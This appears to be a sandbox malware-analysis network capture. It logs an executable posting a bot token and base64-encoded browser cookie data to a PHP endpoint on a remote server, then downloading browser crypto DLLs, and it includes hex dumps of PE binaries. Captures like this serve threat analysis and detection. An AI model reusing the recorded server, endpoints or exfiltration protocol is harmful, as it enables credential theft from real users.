00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 24, 2024 22:26:58.774717093 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 24, 2024 22:26:58.778461933 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49749	135.181.65.216	80	7548	C:\Users\user\Desktop\glpEv3POe7.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 22:27:07.953319073 CET	620	OUT	POST /ee45b7c5e4cb75cb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIEGDBAEBFIIDHJJJEB Host: 135.181.65.216 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 47 44 42 41 45 42 46 49 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 47 44 42 41 45 42 46 49 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 47 44 42 41 45 42 46 49 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------FIIEGDBAEBFIIDHJJJEBContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------FIIEGDBAEBFIIDHJJJEBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------FIIEGDBAEBFIIDHJJJEBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FIIEGDBAEBFIIDHJJJEB--
Dec 24, 2024 22:27:09.264607906 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 22:27:09.444552898 CET	202	OUT	POST /ee45b7c5e4cb75cb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBK Host: 135.181.65.216 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Dec 24, 2024 22:27:09.444552898 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 Data Ascii: ------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Dec 24, 2024 22:27:09.880083084 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 22:27:09.893563986 CET	564	OUT	POST /ee45b7c5e4cb75cb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECB Host: 135.181.65.216 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="file"------GIEHIDHJDBFIIECAKECB--
Dec 24, 2024 22:27:10.324750900 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 22:27:10.678873062 CET	564	OUT	POST /ee45b7c5e4cb75cb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBFHJDAAFBAKEBGIJKK Host: 135.181.65.216 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="file"------IDBFHJDAAFBAKEBGIJKK--
Dec 24, 2024 22:27:11.108815908 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 22:27:11.436676979 CET	93	OUT	GET /4a21a126be249f0d/freebl3.dll HTTP/1.1 Host: 135.181.65.216 Cache-Control: no-cache
Dec 24, 2024 22:27:11.858150005 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 24, 2024 22:27:11.858208895 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 24, 2024 22:27:11.858227968 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 24, 2024 22:27:11.858493090 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 24, 2024 22:27:11.858520031 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 24, 2024 22:27:11.858537912 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Dec 24, 2024 22:27:11.866518021 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Dec 24, 2024 22:27:11.866633892 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Dec 24, 2024 22:27:11.874906063 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Dec 24, 2024 22:27:11.874996901 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Dec 24, 2024 22:27:13.407334089 CET	93	OUT	GET /4a21a126be249f0d/mozglue.dll HTTP/1.1 Host: 135.181.65.216 Cache-Control: no-cache
Dec 24, 2024 22:27:13.828691959 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:13 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 24, 2024 22:27:14.958656073 CET	94	OUT	GET /4a21a126be249f0d/msvcp140.dll HTTP/1.1 Host: 135.181.65.216 Cache-Control: no-cache
Dec 24, 2024 22:27:15.380666018 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 24, 2024 22:27:16.012259007 CET	90	OUT	GET /4a21a126be249f0d/nss3.dll HTTP/1.1 Host: 135.181.65.216 Cache-Control: no-cache
Dec 24, 2024 22:27:16.433621883 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 24, 2024 22:27:19.564039946 CET	94	OUT	GET /4a21a126be249f0d/softokn3.dll HTTP/1.1 Host: 135.181.65.216 Cache-Control: no-cache
Dec 24, 2024 22:27:19.985919952 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 24, 2024 22:27:20.554136038 CET	98	OUT	GET /4a21a126be249f0d/vcruntime140.dll HTTP/1.1 Host: 135.181.65.216 Cache-Control: no-cache
Dec 24, 2024 22:27:20.975009918 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:27:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 24, 2024 22:27:21.455652952 CET	202	OUT	POST /ee45b7c5e4cb75cb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJK Host: 135.181.65.216 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
